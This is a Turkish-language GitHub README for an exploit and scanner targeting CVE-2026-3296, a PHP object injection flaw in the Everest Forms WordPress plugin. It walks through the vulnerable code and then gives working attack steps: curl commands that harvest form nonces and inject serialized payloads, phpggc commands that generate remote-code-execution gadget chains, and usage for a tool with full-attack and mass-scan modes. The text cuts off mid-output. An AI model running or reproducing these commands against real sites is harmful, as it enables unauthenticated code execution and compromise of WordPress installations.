xxconi/CVE-2026-3296
GitHub: xxconi/CVE-2026-3296
Stars: 0 | Forks: 0
# CVE-2026-3296
CVE-2026-3296 is a CVSS 9.8 Critical unauthenticated PHP Object Injection vulnerability in the Everest Forms WordPress plugin
# CVE-2026-3296 — Everest Forms PHP Object Injection Scanner
## 📌 Zafiyet Hakkında
Everest Forms eklentisi, form girişi metadata'sını admin panelinde
görüntülerken PHP'nin native `unserialize()` fonksiyonunu
`allowed_classes` parametresi **olmadan** çağırır.
Kimliği doğrulanmamış bir saldırgan, herhangi bir public form alanına
serialized PHP object payload'ı gömerek bunu veritabanına kaydedebilir.
Admin panel üzerinden entry görüntülendiğinde `unserialize()` tetiklenir
ve ortamdaki herhangi bir **POP gadget chain** çalıştırılır.
## 🔍 Zafiyet Özeti
| Alan | Değer |
|---|---|
| **CVE ID** | CVE-2026-3296 |
| **CVSS** | 9.8 Critical |
| **Tür** | PHP Object Injection (Deserialization of Untrusted Data) |
| **Etkilenen Sürüm** | <= 3.4.3 |
| **Yamalı Sürüm** | 3.4.4 |
| **Kimlik Doğrulama** | Gerekmez (enjeksiyon), Admin (tetikleme) |
| **CWE** | CWE-502: Deserialization of Untrusted Data |
## ⚙️ Teknik Analiz
### İki Fazlı Saldırı Modeli
FAZ 1 — ENJEKSIYON (Kimlik doğrulama gerekmez)
FAZ 2 — TETİKLEME (Admin panel görüntülemesi)
### Faz 1 — Enjeksiyon: Payload Depolama
#### Form Submission Hook (class-evf-form-task.php, line 75)
// Her front-end sayfa yüklemesinde tetiklenir
add_action( 'wp', array( $this, 'listen_task' ) );
// line 109 — kullanıcı verisi sanitize edilerek işlenir
$this->do_task( evf_sanitize_entry( wp_unslash( $_POST['everest_forms'] ) ) );
#### Sanitizasyon Neden Yetersiz (evf-core-functions.php, line 4754)
// sanitize_text_field() HTML tag, null byte siler
// PHP serialization karakterlerini (O:, s:, {, }, ;) SİLMEZ
default:
$entry['form_fields'][$key] = sanitize_text_field(
$entry['form_fields'][$key]
);
Bu payload `sanitize_text_field()` sonrası **tamamen korunur:**
O:8:"stdClass":1:{s:5:"pwned";s:3:"yes";}
#### Ek Bug — Erken Return (line 4764)
// return $entry; ifadesi foreach döngüsü İÇİNDE
// → Yalnızca ilk alan sanitize edilir, geri kalan alanlar ham kalır
foreach ($entry['form_fields'] as $key => $value) {
...
return $entry; // ← BUG: döngü ilk iterasyonda çıkar
}
#### Veritabanına Yazma (class-evf-form-task.php, line 1326)
$entry_metadata = array(
'entry_id' => $entry_id,
'meta_key' => sanitize_key( $field['meta_key'] ),
'meta_value' => maybe_serialize( $field['value'] ),
// maybe_serialize() düz string'i değiştirmez
// → Serialized object string verbatim yazılır
);
$wpdb->insert( $wpdb->prefix . 'evf_entrymeta', $entry_metadata );
### Faz 2 — Tetikleme: Güvensiz Deserialization
#### Zafiyetli Kod (html-admin-page-entries-view.php, line 130–133)
$meta_value = is_serialized( $meta_value )
? $meta_value
: wp_strip_all_tags( $meta_value );
if ( is_serialized( $meta_value ) ) {
$raw_meta_val = unserialize( $meta_value );
// ↑ allowed_classes parametresi YOK
// PHP varsayılanı: TÜM sınıflar instantiate edilebilir
// → POP gadget chain tetiklenir
}
#### Güvenli Wrapper Var Ama Kullanılmıyor (evf-core-functions.php, line 5594)
// Bu fonksiyon zaten mevcuttu — sadece çağrılmadı
function evf_maybe_unserialize($data, $options = array()) {
if (is_serialized($data)) {
if (version_compare(PHP_VERSION, '7.1.0', '>=')) {
$options = wp_parse_args($options, array('allowed_classes' => false));
return @unserialize(trim($data), $options); // Güvenli
}
return null;
}
return $data;
}
### Nonce Neden Koruma Sağlamıyor?
Nonce **CSRF koruması** sağlar, **kimlik doğrulama** değil.
Saldırgan form sayfasını GET ile açıp nonce'ı okur, ardından
POST ile payload gönderir.
## 🔴 Tam Saldırı Zinciri
┌──────────────────────────────────────────────────────────────┐
│ FAZ 1 — ENJEKSIYON (Unauthenticated) │
│ │
│ GET /contact/ │
│ → form_id=123, nonce=abc123, field=text_xyz │
│ │
│ POST /contact/ │
│ everest_forms[id]=123 │
│ everest_forms[form_fields][text_xyz]=O:8:"Evil":1:{...} │
│ _wpnonce123=abc123 │
│ │ │
│ ├── sanitize_text_field() → serialization korunur │
│ ├── maybe_serialize() → string değişmez │
│ └── wp_evf_entrymeta.meta_value = "O:8:\"Evil\"..." │
└──────────────────────────┬───────────────────────────────────┘
│ (Admin rutin kontrol yapar)
┌──────────────────────────▼───────────────────────────────────┐
│ FAZ 2 — TETİKLEME (Admin Panel) │
│ │
│ GET /wp-admin/admin.php │
│ ?page=evf-entries&form_id=123&view-entry=456 │
│ │ │
│ ├── is_serialized($meta_value) = true │
│ ├── unserialize($meta_value) ← ZAFIYET │
│ │ allowed_classes = (yok) → tüm sınıflar │
│ └── POP gadget chain → __wakeup() / __destruct() │
│ → RCE / File Write / Data Exfil │
└──────────────────────────────────────────────────────────────┘
## 🧪 Proof of Concept (Manuel)
**Ön Koşullar:**
- Everest Forms <= 3.4.3 kurulu ve aktif
- Public erişilebilir form sayfası
- Admin paneline erişim (tetikleme için)
### Adım 1 — Form ID ve Nonce Al
TARGET="https://target-site.example.com/contact/"
# Form ID çıkar
curl -s "$TARGET" | grep -oP 'name="everest_forms\[id\]" value="\K[0-9]+'
# Nonce çıkar
curl -s "$TARGET" | grep -oP '(?<=name="_wpnonce)[0-9]+" value="\K[^"]+'
### Adım 2 — Benign Test Payload Oluştur
# Güvenli test — stdClass, magic method yok
PAYLOAD='O:8:"stdClass":2:{s:6:"source";s:14:"CVE-2026-3296";s:6:"pwned";s:3:"yes";}'
Gerçek ortam için PHPGGC ile POP chain üret:
# WordPress/RCE1 chain
phpggc WordPress/RCE1 system "id" -s
# Monolog chain
phpggc Monolog/RCE1 system "id" -s
### Adım 3 — Payload Enjekte Et
FORM_ID="123"
NONCE="abcdef1234"
FIELD="text_abc123"
curl -s -X POST "$TARGET" \
-d "everest_forms[id]=${FORM_ID}" \
-d "everest_forms[form_fields][${FIELD}]=${PAYLOAD}" \
-d "_wpnonce${FORM_ID}=${NONCE}" \
-d "everest_forms[hp][abc]="
Beklenen: Form başarı mesajı veya yönlendirme.
### Adım 4 — Veritabanında Doğrula (WP-CLI)
wp db query \
"SELECT meta_value FROM wp_evf_entrymeta ORDER BY meta_id DESC LIMIT 3;" \
--allow-root
# O:8:"stdClass":2:{...} satırı görünmeli
### Adım 5 — Admin Olarak Tetikle
https://target-site.example.com/wp-admin/admin.php
?page=evf-entries
&form_id=123
&view-entry=
Sayfa yüklendiğinde `unserialize()` çalışır.
### Adım 6 — Gadget Chain Doğrulama (Test Ortamı)
// test-gadget.php — SADECE TEST ORTAMINDA KULLAN
class TestGadget {
public function __wakeup() {
file_put_contents(
'/tmp/pwned.txt',
'PHP Object Injection confirmed at ' . date('c')
);
}
}
cat /tmp/pwned.txt
# PHP Object Injection confirmed at 2026-04-08T...
## 🛠️ Otomatik Tarayıcı
### Kurulum
git clone https://github.com/kullanici/cve-2026-3296-scanner
cd cve-2026-3296-scanner
pip install -r requirements.txt
**requirements.txt**
requests
## 🚀 Kullanım
### Zafiyet Tespiti (Benign Payload)
python everest_forms_poi.py -u http://hedef.com --mode scan
### Yalnızca Enjeksiyon (Faz 1)
python everest_forms_poi.py -u http://hedef.com --mode inject \
--payload-type probe
### Tam Saldırı (Faz 1 + Faz 2)
python everest_forms_poi.py -u http://hedef.com --mode full \
--admin-user admin --admin-pass Pass123!
### Form ID Manuel + Özel Payload
python everest_forms_poi.py -u http://hedef.com --mode inject \
--form-id 5 --field-name text_abc123 \
--custom-payload 'O:8:"stdClass":1:{s:4:"test";s:2:"ok";}'
### OOB Callback ile Tespit (Burp Collaborator)
python everest_forms_poi.py -u http://hedef.com --mode scan \
--payload-type ssrf \
--callback-url http://your.burp.collaborator.net
### Toplu Tarama
python everest_forms_poi.py -l targets.txt -t 10 \
--mode scan -o sonuclar.txt
### Proxy ile (Burp Suite)
python everest_forms_poi.py -u http://hedef.com --mode full \
--admin-user admin --admin-pass Pass123! \
--proxy http://127.0.0.1:8080
## ⚙️ Parametreler
### Mod
| Mod | Açıklama |
|---|---|
| `scan` | Benign payload enjekte et — zafiyet tespiti |
| `inject` | Yalnızca Faz 1 — payload depola |
| `trigger` | Yalnızca Faz 2 — admin girişiyle tetikle |
| `full` | Faz 1 + Faz 2 — tam saldırı |
### Genel Parametreler
| Parametre | Kısa | Açıklama | Varsayılan |
|---|---|---|---|
| `--url` | `-u` | Tekil hedef URL | — |
| `--list` | `-l` | Hedef listesi dosyası | — |
| `--threads` | `-t` | Thread sayısı | `5` |
| `--output` | `-o` | Çıktı dosyası | `poi_results.txt` |
| `--proxy` | — | Proxy URL | — |
| `--force` | — | Plugin tespiti başarısız olsa devam et | `False` |
### Form Parametreleri
| Parametre | Açıklama | Varsayılan |
|---|---|---|
| `--form-id` | CF7 form ID | otomatik tespit |
| `--form-url` | Form sayfası URL | otomatik tespit |
| `--field-name` | Hedef field adı | otomatik tespit |
| `--nonce` | Form nonce değeri | otomatik çıkarma |
| `--entry-id` | Entry ID (trigger modu) | otomatik tespit |
### Payload Seçenekleri
| Parametre | Açıklama | Varsayılan |
|---|---|---|
| `--payload-type` | Payload tipi | `probe` |
| `--custom-payload` | Özel serialized string | — |
| `--cmd` | RCE komutu | `id` |
| `--callback-url` | OOB callback URL | — |
### Admin Kimlik Bilgileri
| Parametre | Açıklama |
|---|---|
| `--admin-user` | Admin kullanıcı adı |
| `--admin-pass` | Admin şifresi |
## 💀 Payload Tipleri
| Tip | Açıklama | Kullanım |
|---|---|---|
| `probe` | Benign stdClass — yan etki yok | Zafiyet tespiti |
| `file_write` | Dosya yaz (TestGadget) | Test ortamı doğrulama |
| `ssrf` | HTTP callback — OOB tespit | Burp Collaborator |
| `wp_rce` | WordPress POP chain placeholder | PHPGGC ile üret |
| `yoast_rce` | Yoast SEO POP chain placeholder | PHPGGC ile üret |
| `monolog_rce` | Monolog POP chain placeholder | PHPGGC ile üret |
## 📊 Tarayıcı Çıktı Durumları
| Durum | Açıklama |
|---|---|
| `★ PWNED` | Deserialization tetiklendi + payload çalıştı |
| `★ VULN` | Payload enjekte edildi — zafiyet doğrulandı |
| `~ TRIGGERED` | Entry görüntülendi — gadget chain manuel doğrula |
| `- INJ_FAIL` | Enjeksiyon başarısız (yamalı / form yok) |
| `~ NO_FORM` | Everest Forms formu bulunamadı |
| `- NO_PLUGIN` | Eklenti kurulu değil |
| `~ NO_CREDS` | Admin kimlik bilgileri eksik |
| `- ADM_FAIL` | Admin girişi başarısız |
| `~ UNREACH` | Hedefe ulaşılamıyor |
## 🖥️ Örnek Tarayıcı Çıktısı
[*] Hedef : http://hedef.com
[*] Mod : full
[*] Payload Tipi : probe
[*] Komut : id
[*] Admin User : admin
[→] http://hedef.com Adım 1: Everest Forms formu aranıyor...
[→] http://hedef.com Adım 2: Payload enjekte ediliyor...
[→] http://hedef.com Adım 3: Admin girişi yapılıyor...
[→] http://hedef.com Adım 4: Entry ID aranıyor...
[→] http://hedef.com Adım 5: unser